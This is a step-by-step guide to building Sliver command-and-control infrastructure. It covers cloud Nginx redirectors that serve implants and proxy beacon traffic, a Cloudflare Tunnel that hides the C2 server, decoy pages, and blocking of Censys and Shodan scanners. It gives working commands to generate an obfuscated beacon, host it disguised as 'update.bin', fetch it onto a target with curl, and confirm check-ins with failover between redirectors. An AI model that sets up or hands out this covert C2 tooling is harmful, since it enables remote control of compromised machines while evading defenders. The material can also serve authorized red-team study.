
Published: November 28, 2025
This guide demonstrates how to build a professional-grade Command and Control (C2) infrastructure using cloud-based redirectors and Cloudflare Tunnel. The architecture provides:
┌─────────────────────────────────────────────────────────────────────┐
│ Target Environment │
└────────────┬────────────────────────────────────────────────────────┘
│
├──► Fetches Implant: https://r1.example.com/downloads/
│
└──► Beacon Callback: https://r1.example.com/api/
https://r2.example.com/api/ (failover)
│
┌─────────────────────────────────────────┼──────────────────────────┐
│ Cloud Layer │ │
│ ┌──────────────────────┐ ┌──────────▼──────────┐ │
│ │ Redirector 2 │ │ Redirector 1 │ │
│ │ r2.example.com │ │ r1.example.com │ │
│ │ 203.0.113.20 │ │ 203.0.113.10 │ │
│ │ (Amsterdam) │ │ (New York) │ │
│ │ │ │ │ │
│ │ Nginx Reverse Proxy │ │ Nginx Reverse Proxy │ │
│ │ - Serves implants │ │ - Serves implants │ │
│ │ - Proxies beacons │ │ - Proxies beacons │ │
│ │ - Decoy website │ │ - Decoy website │ │
│ └──────────┬───────────┘ └──────────┬──────────┘ │
│ │ │ │
│ └──────────────┬───────────┘ │
└────────────────────────────┼───────────────────────────────────────┘
│ Proxy to: https://c2.example.com/
│
┌────────▼──────────┐
│ Cloudflare CDN │
│ (Orange Cloud) │
│ Hides tunnel IP │
└────────┬──────────┘
│ Cloudflare Tunnel (QUIC/HTTP2)
┌────────────────────────────┼────────────────────────────────────────┐
│ Home Lab│ │
│ ┌───────▼────────┐ │
│ │ Cloudflare │ │
│ │ Tunnel Daemon │ │
│ │ (cloudflared) │ │
│ └───────┬────────┘ │
│ │ Forwards to 127.0.0.1:443 │
│ ┌───────▼────────┐ │
│ │ Sliver C2 │ │
│ │ Server │ │
│ │ (Kali Linux) │ │
│ └────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
https://r1.example.com/downloads/ → Nginx serves from /var/www/implants/https://r1.example.com/api/ → Nginx proxies to https://c2.example.com → Cloudflare Tunnel routes to home lab Sliver at 127.0.0.1:443https://r2.example.com/api/| Record | Type | Value | Cloudflare Proxy |
|---|---|---|---|
| r1.example.com | A | 203.0.113.10 | ☁️ Gray (DNS only) |
| r2.example.com | A | 203.0.113.20 | ☁️ Gray (DNS only) |
| c2.example.com | CNAME | tunnel-id.cfargotunnel.com | 🟧 Orange (Proxied) |
example.comns1.cloudflare.com)Go to DNS tab in Cloudflare and click Add record for each redirector:
Redirector 1 (r1):
A | Name: r1 | IPv4: 203.0.113.10 (your VPS IP)Redirector 2 (r2):
A | Name: r2 | IPv4: 203.0.113.20 (your VPS IP)# Check from your local machine
nslookup r1.example.com
nslookup r2.example.com
# Expected output:
# r1.example.com → 203.0.113.10
# r2.example.com → 203.0.113.20
On Debian/Ubuntu/Kali (recommended):
# Download and install
wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb
cloudflared --version
Alternative - universal binary:
wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64
sudo mv cloudflared-linux-amd64 /usr/local/bin/cloudflared
sudo chmod +x /usr/local/bin/cloudflared
cloudflared tunnel login
This opens a browser window. Select your domain (example.com) to authorize cloudflared. A certificate is saved to ~/.cloudflared/cert.pem.
cloudflared tunnel create homelab-c2
# Expected output:
# Tunnel credentials written to /home/user/.cloudflared/<tunnel-id>.json
# Created tunnel homelab-c2 with id <tunnel-id>
Create system-wide configuration directory:
sudo mkdir -p /etc/cloudflared
# Copy tunnel credentials to system location
sudo cp ~/.cloudflared/<tunnel-id>.json /etc/cloudflared/
# Create config file
sudo nano /etc/cloudflared/config.yml
Add this configuration:
tunnel: homelab-c2
credentials-file: /etc/cloudflared/<tunnel-id>.json
ingress:
- hostname: c2.example.com
service: https://127.0.0.1:443
originRequest:
noTLSVerify: true
- service: http_status:404
Explanation:
tunnel: Name of your tunnelcredentials-file: Path to tunnel credentials in /etc/cloudflared/hostname: The C2 domain that will route to this tunnelservice: Local Sliver C2 server addressnoTLSVerify: Ignore self-signed cert from Sliver/etc/cloudflared/ prevents permission errors and ensures the tunnel service can access the credentials.
cloudflared tunnel route dns homelab-c2 c2.example.com
# This automatically creates a CNAME record in Cloudflare:
# c2.example.com → <tunnel-id>.cfargotunnel.com (orange cloud, proxied)
# Verify in Cloudflare DNS dashboard:
# Go to DNS tab - you should see 'c2' record as CNAME with orange cloud
sudo cloudflared tunnel run homelab-c2
# Expected output:
# 2025-01-27T12:00:00Z INF Starting tunnel tunnelID=<id>
# 2025-01-27T12:00:01Z INF Connection registered connIndex=0 location=ATL
# 2025-01-27T12:00:01Z INF Connection registered connIndex=1 location=IAD
# If successful, press Ctrl+C to stop. We'll install it as a service next.
# Install cloudflared as a system service
sudo cloudflared service install
# The service will automatically use /etc/cloudflared/config.yml
/etc/cloudflared/, the service installation will detect and use it automatically.
sudo systemctl start cloudflared
sudo systemctl enable cloudflared
sudo systemctl status cloudflared
# Check logs
sudo journalctl -u cloudflared -f
# From external machine or online service
curl -I https://c2.example.com
# Expected: 502 Bad Gateway (C2 not running yet) or 404
# This confirms tunnel is routing correctly
DigitalOcean GUI:
redirector-r1r1 A record with the real IP.
ssh [email protected]
# Accept SSH fingerprint
# You should now be logged in as root
Update system:
apt update && apt upgrade -y
Create operator user with sudo privileges:
adduser operator
# Set password when prompted
# Press Enter for default values
# Add to sudo group
usermod -aG sudo operator
# Copy SSH keys to operator
rsync --archive --chown=operator:operator ~/.ssh /home/operator/
Disable root SSH login and password authentication:
nano /etc/ssh/sshd_config
# Find and modify these settings:
PermitRootLogin no
PasswordAuthentication no
# Save and restart SSH
systemctl restart sshd
Test operator login (open a new terminal before closing root session):
ssh [email protected]
# If successful, close root session and continue as operator
# Enable UFW
sudo ufw allow 22/tcp # SSH
sudo ufw allow 80/tcp # HTTP (for Let's Encrypt)
sudo ufw allow 443/tcp # HTTPS
sudo ufw enable
# Verify
sudo ufw status verbose
sudo apt install fail2ban -y
sudo systemctl enable fail2ban
sudo systemctl start fail2ban
sudo apt install nginx -y
sudo systemctl enable nginx
sudo systemctl start nginx
# Verify
curl http://localhost
# Should see "Welcome to nginx!"
sudo apt install certbot python3-certbot-nginx -y
sudo certbot --nginx -d r1.example.com
# When prompted:
# - Email address: Enter a valid email (for renewal notifications)
# - Terms of Service: Y (agree)
# - Share email: N (optional)
# Certificate will be saved to:
# /etc/letsencrypt/live/r1.example.com/fullchain.pem
# /etc/letsencrypt/live/r1.example.com/privkey.pem
# Test auto-renewal:
sudo certbot renew --dry-run
# Create directories
sudo mkdir -p /var/www/implants
sudo mkdir -p /var/www/decoy
sudo chown -R www-data:www-data /var/www/implants
sudo chown -R www-data:www-data /var/www/decoy
# Create simple decoy page
sudo nano /var/www/decoy/index.html
Decoy page content:
<!DOCTYPE html>
<html>
<head>
<title>Under Construction</title>
</head>
<body>
<h1>Website Under Construction</h1>
<p>This site is currently being updated. Please check back later.</p>
</body>
</html>
# Backup default config
sudo cp /etc/nginx/sites-available/default /etc/nginx/sites-available/default.bak
# Create redirector config
sudo nano /etc/nginx/sites-available/redirector
Redirector configuration:
# Enable configuration and reload Nginx
sudo ln -s /etc/nginx/sites-available/redirector /etc/nginx/sites-enabled/
sudo rm /etc/nginx/sites-enabled/default # Remove default site
sudo nginx -t # Test configuration
sudo systemctl reload nginx
# Test health check
curl -I https://r1.example.com/health
# Expected: HTTP/2 200
# Test decoy site
curl https://r1.example.com/
# Expected: HTML content
# Test API proxy (C2 not running yet)
curl -I https://r1.example.com/api/
# Expected: HTTP/2 502 Bad Gateway (normal, C2 not running)
# Test downloads (no files yet)
curl -I https://r1.example.com/downloads/test.bin
# Expected: HTTP/2 404 Not Found (normal, no files uploaded)
# Watch access logs
sudo tail -f /var/log/nginx/redirector_access.log
# Watch error logs
sudo tail -f /var/log/nginx/redirector_error.log
On Kali Linux (Sliver pre-installed):
# Sliver should be available
which sliver-server
On Ubuntu/Debian:
# Download latest release
curl https://sliver.sh/install | sudo bash
# Or manual installation
wget https://github.com/BishopFox/sliver/releases/latest/download/sliver-server_linux
sudo mv sliver-server_linux /usr/local/bin/sliver-server
sudo chmod +x /usr/local/bin/sliver-server
In Sliver console:
sliver > jobs
sliver > https --lhost 127.0.0.1 --lport 443 --domain c2.example.com
Parameters:
--lhost: Local IP address to bind the listener (127.0.0.1 for tunnel)--lport: Local port to bind the listener (443 for HTTPS)--domain: Domain name for the C2 server (c2.example.com)Expected output:
[*] Starting HTTPS :443 listener ...
[*] Successfully started job #1
Verify listener is running:
sliver > jobs
ID Name Protocol Port
==== ======= ========== ======
1 https tcp 443
c2.example.com to 127.0.0.1:443. This ensures the C2 server is never directly exposed to the internet.
In Sliver console:
sliver > generate beacon \
--http https://r1.example.com/api,https://r2.example.com/api \
--os linux \
--arch amd64 \
--format elf \
--save /tmp/linux_beacon
Parameters:
--http: Callback URLs (comma-separated for failover)--os: Target operating system (linux, windows, darwin)--arch: Target architecture (amd64, arm64, arm, 386)--format: Output format (elf, exe, shellcode, shared, service)--save: Output pathOutput:
[*] Generating new linux/amd64 beacon implant binary (5m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 3s
[*] Implant saved to /tmp/linux_beacon
file /tmp/linux_beacon
# Expected: ELF 64-bit LSB executable, x86-64 (for amd64)
ls -lh /tmp/linux_beacon
# Check size (typically 8-15 MB)
# Copy to redirector
scp /tmp/linux_beacon [email protected]:/tmp/
# SSH to redirector and move to implants directory
ssh [email protected]
sudo mv /tmp/linux_beacon /var/www/implants/update.bin
sudo chown www-data:www-data /var/www/implants/update.bin
sudo chmod 644 /var/www/implants/update.bin
# Verify
ls -la /var/www/implants/
# Should show: -rw-r--r-- 1 www-data www-data <size> update.bin
chown www-data:www-data: Nginx runs as www-data user, needs ownership to read fileschmod 644: Owner (www-data) can read/write, everyone else can only read. File is NOT executable by web server for security.
# From local machine - test download
curl -I https://r1.example.com/downloads/update.bin
# Expected response:
# HTTP/2 200
# content-type: application/octet-stream
# content-disposition: attachment
# content-length: <size>
# Download and verify integrity
curl -o /tmp/test_beacon https://r1.example.com/downloads/update.bin
file /tmp/test_beacon
md5sum /tmp/test_beacon
md5sum /tmp/linux_beacon
# MD5 sums should match
On target Linux system:
# Download beacon
curl -o /tmp/update https://r1.example.com/downloads/update.bin
In Sliver console:
sliver > beacons
Expected output (after beacon interval + jitter):
ID Name Transport Remote Address Hostname Username Operating System Last Check-In
======== =============== ========= =================== ======== ======== ================ =============
abc12345 SIMPLE_KOALA https 203.0.113.10:443 testbox user linux/amd64 2m30s
# Stop r1 redirector
ssh [email protected]
sudo systemctl stop nginx
# Wait for next beacon check-in (up to 5 minutes + jitter)
# In Sliver console:
sliver > beacons
# Beacon should still check in via r2.example.com
# Beacon will automatically try r2 when r1 fails - no manual intervention needed
# Restart r1
sudo systemctl start nginx
Power off r1 droplet (DigitalOcean dashboard):
redirector-r1Create snapshot:
redirector-r1-configured-20250127Power r1 back on:
Alternative: CLI (doctl)
# Install doctl
snap install doctl
doctl auth init # Enter API token
# Power off
doctl compute droplet-action power-off <droplet-id>
# Create snapshot
doctl compute droplet-action snapshot <droplet-id> \
--snapshot-name "redirector-r1-configured-20250127"
# List snapshots
doctl compute snapshot list --resource droplet
# Power on
doctl compute droplet-action power-on <droplet-id>
DigitalOcean GUI:
redirector-r1-configured-20250127redirector-r2-activeCLI:
doctl compute droplet create redirector-r2-active \
--image <snapshot-id> \
--size s-1vcpu-1gb \
--region ams3 \
--ssh-keys <key-id>
# Get IP
doctl compute droplet list
In Cloudflare dashboard:
r2.example.com A record203.0.113.20# Wait for DNS propagation
nslookup r2.example.com
# Should return new IP: 203.0.113.20
ssh [email protected]
# or use IP if DNS not propagated yet:
ssh [email protected]
# Change hostname
sudo hostnamectl set-hostname redirector-r2
# Update Nginx configuration to use r2.example.com
sudo sed -i 's/r1\.example\.com/r2.example.com/g' /etc/nginx/sites-available/redirector
# Stop nginx temporarily
sudo systemctl stop nginx
# Remove old SSL certificate and generate new one
sudo certbot delete --cert-name r1.example.com
sudo certbot --nginx -d r2.example.com
# Test and start Nginx
sudo nginx -t
sudo systemctl start nginx
# Copy beacon from r1 or regenerate
scp /tmp/linux_beacon [email protected]:/tmp/
ssh [email protected]
sudo mv /tmp/linux_beacon /var/www/implants/update.bin
sudo chown www-data:www-data /var/www/implants/update.bin
sudo chmod 644 /var/www/implants/update.bin
# Test all endpoints
curl -I https://r2.example.com/health
# Expected: HTTP/2 200
curl -I https://r2.example.com/downloads/update.bin
# Expected: HTTP/2 200
curl -I https://r2.example.com/api/
# Expected: HTTP/2 404 (Sliver responding)
# Symptom
curl -I https://r1.example.com/downloads/update.bin
# HTTP/2 404 Not Found
# Diagnosis - check if file exists
ssh [email protected]
ls -la /var/www/implants/
Common fixes:
/var/www/implants/location /downloads/ should alias to /var/www/implants/# Symptom
curl -I https://r1.example.com/downloads/update.bin
# HTTP/2 403 Forbidden
# Diagnosis - check permissions
ls -la /var/www/implants/update.bin
# Fix permissions
sudo chown www-data:www-data /var/www/implants/update.bin
sudo chmod 644 /var/www/implants/update.bin
# Test from redirector
curl -I https://c2.example.com
# If fails, DNS issue or Cloudflare tunnel problem
Nginx configured to return 404 for known scanner IP ranges:
# Censys ranges
167.94.138.0/24
167.94.145.0/24
167.248.133.0/24
# Shodan ranges
71.6.135.0/24
71.6.146.0/24
71.6.167.0/24
66.240.192.0/24
66.240.219.0/24
Optional - add to nginx config to block non-browser requests:
if ($http_user_agent !~* "Mozilla/5.0") {
return 404;
}
Trade-off: Blocks some legitimate tools (curl, wget) but also blocks automated scanners.
What defenders might detect:
Mitigation:
You now have a professional C2 infrastructure with: